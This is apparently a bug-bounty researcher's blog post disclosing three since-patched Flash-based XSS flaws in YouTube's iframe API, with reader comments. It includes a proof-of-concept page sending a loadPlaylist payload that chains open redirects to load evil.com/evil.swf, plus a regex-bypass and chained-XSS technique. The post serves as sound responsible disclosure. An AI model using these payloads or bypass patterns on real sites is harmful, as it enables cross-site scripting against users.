IV. Flash based XSSes on Youtube iframe api

I’m happy that people found my previous posts on Youtube Flash vulnerabilities interesting, and I will keep posting new write-ups.
This time I will disclose 3 Flash based XSSes on the new Youtube html5 api (with Flash fallback).

Youtube html5 api is called Youtube iframe api, because the entry point is an iframe located at youtube.com/embed/[VIDEO_ID].
When the iframe loads, it will first check if the browser is able to play videos using html5, and if not it will use the Flash fallback. Until recently, it was possible to force the Flash fallback for all browsers using the URL parameter nohtml5=1. This is what we will do here.

Here is the workflow of the Youtube iframe api with Flash fallback:

If you compare with the workflow of the Youtube Flash api in part 1, the Flash file “Youtube Wrapper” has been replaced by the iframe “Youtube Embed”, and consequently Flash to javascript api has been replaced by postMessage api and sharedEvent api has been replaced by Flash to javascript api. This should give you a sense of how Flash and javascript are very similar, only the implementation is different.

Youtube Flash api and Youtube iframe api are so similar that Firefox , Chrome and Safari have implemented an interesting/weird behaviour where any <object data=”youtube.com/v/[VIDEO_ID]”> (Youtube Flash api) will be automatically replaced by <object data=”youtube.com/embed/[VIDEO_ID]”>(Youtube iframe api) where the <object> will actually behave as an iframe. The objective is to force old websites to switch to Youtube iframe api without making any change in the websites themselves.

To trigger a Flash based XSS on youtube.com, you have to either load a Flash file located at youtube.com directly from the address bar, or exploit any Flash file embed in a html page located at youtube.com. Here we will exploit the Flash file “Main App” which is embed in youtube.com/embed, and from there we will execute arbitrary javascript on youtube.com/embed.
When an external website embeds a Youtube iframe, it can send commands to the Youtube iframe using the postMessage api such as playVideo(), pauseVideo(), etc… The Youtube iframe will then transmit the command to the Flash Main App (using the Flash to javascript api).

 

1. Flash based XSS using loadPlaylist command

One particular command is loadPlaylist() which will make the Youtube iframe load a playlist. The argument of loadPlaylist() can either be a Youtube playlist ID or an array of Youtube video IDs. When using an array of Youtube video IDs, it is possible to inject arbitrary poster (thumbnail) image url for each video.
Loading an image in Flash is similar to loading an external Flash file using Loader.load(), so we could load an arbitrary Flash file using this. Main App checks if the url of the poster image is a youtube.com url and then loads the image. Now you might be aware that Google doesn’t believe that open redirections are security issues! This makes url sanitization very difficult, because you just need to provide a youtube.com url that will redirect to an arbitrary location. I didn’t find an open redirector directly on youtube.com. However, I found a youtube.com url that will redirect to any google.com url. From there it was easy to find an open redirector on google.com that would redirect to evil.com. The full url payload was

https://accounts.youtube.com/accounts/SetSID?continue=https://www.google.com/amp/s/evil.com/evil.swf

Once evil.swf is loaded on youtube.com/embed it can execute arbitrary javascript using the Flash to javascript api, which means XSS on youtube.com!

Note: By default only Flash file located on the same domain than the html host page can use the Flash to javascript api. But in youtube.com/embed/[VIDEO_ID] the Main App <object> tag contains the attribute “allowscriptaccess=always” which means that any Flash file loaded by the Main App will be able to use the Flash to javascript api on youtube.com/embed/[VIDEO_ID]

Here is the workflow of the POC:

evil.com/evil.html source code:

<!DOCTYPE html>
<html>
<body>
<!-- Youtube iframe api with forced Flash fallback -->
<iframe id="player" src="https://www.youtube.com/embed/?nohtml5=1"></iframe>
<script>
// Wait 5 seconds to let the Youtube iframe fully load
setTimeout(
function(){
// Send the loadPlaylist command to the Youtube iframe using postMessage api, with the image payload
document.getElementById("player").contentWindow.postMessage('{"command":"loadPlaylist","data":[{"video_id":"xyz","iurl":"https://accounts.youtube.com/accounts/SetSID?continue=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fevil.com%2Fevil.swf"}]}', "*");
}
, 5000);
</script>
</body>
</html>

evil.swf source code:

public class Main extends Sprite {
public function Main(){
// Execute arbitrary javascript on youtube.com/embed using ExternalInterface (Flash to javascript api)
ExternalInterface.call("alert", "document.domain + ' XSSed!'");
}
}

Attack Scenario:
Prerequisite: The victim has Flash Player enabled
1. The victim visits evil.com/evil.html
2. evil.html loads youtube.com/embed iframe
3. evil.html sends the loadPlaylist payload
4. youtube.com/embed loads evil.swf
5. evil.swf execute XSS on youtube.com/embed

Mitigation:
Google patched the Main App so that it doesn’t take picture url into account in loadPlaylist arguments.

Timeline:
10/05/2016 Reported to Google
10/11/2016 “Nice catch” and reward
11/09/2016 Bug fixed and verified

 

2. Flash based XSS using trustedLoader Regex

In addition to public commands like playVideo() or loadPlaylist(), Youtube api has private commands that are available only if the webpage that loads the Youtube iframe is from a verified, trusted origin (like youtube.com or drive.google.com/xxx). To do this, the Main App uses a whitelist stored in a regex. The regex is like this :

public static const trustedLoader:RegExp = new RegExp("^https?://((www\.|encrypted\.)?google(\.com|\.co)?\.[a-z]{2,3}/(search|webhp)\?|24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf|www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris|tpc\.googlesyndication\.com/safeframe/|lightbox-(demos|builder)\.appspot\.com/|([A-Za-z0-9-]{1,63}\.)*(imasdk\.googleapis\.com|corp\.google\.com|borg\.google\.com|docs\.google\.com|drive\.google\.com|googleads\.g\.doubleclick\.net|googleplex\.com|play\.google\.com|prod\.google\.com|sandbox\.google\.com|photos\.google\.com|picasaweb\.google\.com|lh2\.google\.com|plus\.google\.com|books\.googleusercontent\.com|mail\.google\.com|talkgadget\.google\.com|survey\.g\.doubleclick\.net|youtube\.com|youtube\.googleapis\.com|youtube-nocookie\.com|youtubeeducation\.com|vevo\.com)(:[0-9]+)?([\/\?\#]|$))");

Before reading more, you should check the regex yourself and try to find the mistake in it!

 

“.” (dot) is a wildcard in Regex, which means it will match any character. If you only want to match a literal dot, you have to escape it like this “\.”
In trustedLoader RegExp, we have this code :

24e12c4a-a-95274a9c-s-sites.googlegroups.com/a/google.com/flash-api-test-harness/apiharness.swf

where the dots are not escaped. This means that we can replace the dots by any character and it will still match the Regex.
in particular, http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf will match the regex, and this domain is not owned by Google. It was available so I bought it for 1$! (You could use any alphanumeric character instead of A)
I hosted a html page at http://24e12c4a-a-95274a9c-s-sitesAgooglegroups.com/a/google.com/flash-api-test-harness/apiharness.swf that will load a Youtube iframe and I have access to the private commands of the Youtube api.

Among the private commands there is a function updateVideoData(), that allows you to inject an arbitrary Flash file as a poster image exactly like with loadPlaylist() before. I won’t go into details as the rest of the report is similar to previous one.

Mitigation:
Google patched trustedLoader Regex to properly escape dots like this 24e12c4a-a-95274a9c-s-sites\.googlegroups\.com/a/google\.com/flash-api-test-harness/apiharness\.swf

Timeline:
11/22/2016 Report to Google
11/29/2016 Reward
01/18/2017 Issue fixed and verified

 

3. Flash based XSS using trustedLoader regex… again!

Let’s have a look at the trustedLoader regex again. There are still problems with it! For example

google(\.com|\.co)?\.[a-z]{2,3}
is not a secure way to check that a domain is a Google owned domain because
google.com.fun
for example will match the regex but is not a Google owned domain.
Let’s take another example:
www\.gstatic\.com/doubleclick/studio/innovation/h5/layouts/tetris
is consider a trusted url. But there are XSSes in other www.gstatic.com webpages, and from there we can execute arbitrary javascript on www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris and then load a Youtube iframe, send a updateVideoData() command and execute XSS on youtube.com/embed.

Let’s make a drawing of the attack workflow:

Technical details:
Prerequisite: The victim has Flash Player and opens www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf?chartId=[arbitrary javascript]
1. The arbitrary javascript makes www.gstatic.com/charts/motionchart/0/en_GB/tlz-gviz.swf load an iframe at https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris
2-3-4. The arbitrary javascript makes https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris load an iframe at youtube.com/embed
5. The arbitrary javascript sends a updateVideoData() command to Youtube iframe
6. Youtube iframe accepts the command because https://www.gstatic.com/doubleclick/studio/innovation/h5/layouts/tetris is a trusted loader, and transmits it to Main App
7. Main App loads arbitrary Flash file (the open redirection was different this time because previous one was fixed)
8. Evil Flash file executes XSS on youtube.com/embed

 

Mitigation:
Youtube removed the option nohtml5=1 to force the Flash fallback. There are still similar vulnerabilities but they are now limited to browsers that can’t play video using html5. This is typically very old browsers that are out of scope for Bug Bounty programs.

Timeline:
02/02/2017 Report to Google
02/02/2017 “Nice catch” from Eduardo, who also advised me to apply to Google Research Grants program
02/14/2017 Reward
04/11/2017 Issue fixed and verified

Conclusion:
You can see that Flash and javascript are very similar and can be used together or you can replace one by the other. The same is true for Flash security and javascript security, this is why I think it is useful to learn about Flash implementation vulnerabilities in order to build more secure javascript applications (especially when there is a Flash fallback). You can also see that Flash based XSS are very similar to DOM XSSes is the sense that they only reveal during code execution and cannot be caught by Web Application Firewalls, browser based mitigation like XSS auditor or even vulnerability scanners.

Thank you very much for reading, and I also want to thank Google VRP team because you are really doing an amazing work!

In the future I will disclose more mixed javascript/Flash bugs from Youtube, Facebook, WordPress and others, and slowly we will get rid of Flash and I will disclose pure javascript vulnerabilities on those domains.

4 comments on “Advanced Flash vulnerabilities in Youtube – Part 4

  • Ah so Google thought we people on old windows machines or linux without HTML5 support (only adobe flash) were evil hackers when using nohtml5=1.
    Im not sure about this sentence “When the iframe loads, it will first check if the browser is able to play videos using html5, and if not it will use the Flash fallback. ”

    Old browsers that only support html5 sluggish will probably try to use html5 and never flash.
    That was exactly the reason why so many off these people used the workarounds like /v/ or nohtml5=1.
    Anyway Youtube operated by Google has already spoken the last words:
    “Flash-embedded videos are no longer supported, but you can still watch this video on YouTube”

    • Ah so Google thought we people on old windows machines or linux without HTML5 support (only adobe flash) were evil hackers when using nohtml5=1.

      Here I’m talking about Youtube embed Apis, to embed a Youtube video in an external website. So it’s not users who manually enter “nohtml5=1” but developers.

      Im not sure about this sentence β€œWhen the iframe loads, it will first check if the browser is able to play videos using html5, and if not it will use the Flash fallback. ”

      When a “youtube.com/embed/” iframe loads, one of the first javascript instructions is :
      try {
      var vid = document.createElement('video');
      if('' != vid.canPlayType('video/mp4')){
      //html5 player
      } else {
      //Flash fallback
      }
      } catch(e){
      //Flash fallback
      }

      It is not only looking whether the browser supports the <video> tag, but also whether the <video> tag supports the mp4 codec. Of course the Flash fallback could fail as well but in that case the video won’t play. But for old browsers Youtube should switch to the Flash fallback without any issue.

      Note:
      One last thing, if you really want to use the flash fallback on a modern browser you can install an extension like “YouTube Flash Player” for firefox. What the extension will do is just change the prototype of the vid.canPlayType() method on Youtube webpages so that vid.canPlayType(‘video/mp4’) will return ”.
      if(/^https:\/\/www\.youtube\.com\//.test(location.href){
      document.createElement("video").constructor.prototype.canPlayType = function(a){ return '';};
      }

      • Thanks you sir!
        Very interesting how the algorithm works. Wouldnt have expected that .mp4 compability is a point that gets checked.
        I have just seen probably a few hundread webpages that show the error message I mentioned.
        Might take a look on that for Firefox, since it sounds like a logical step.

Comments are closed.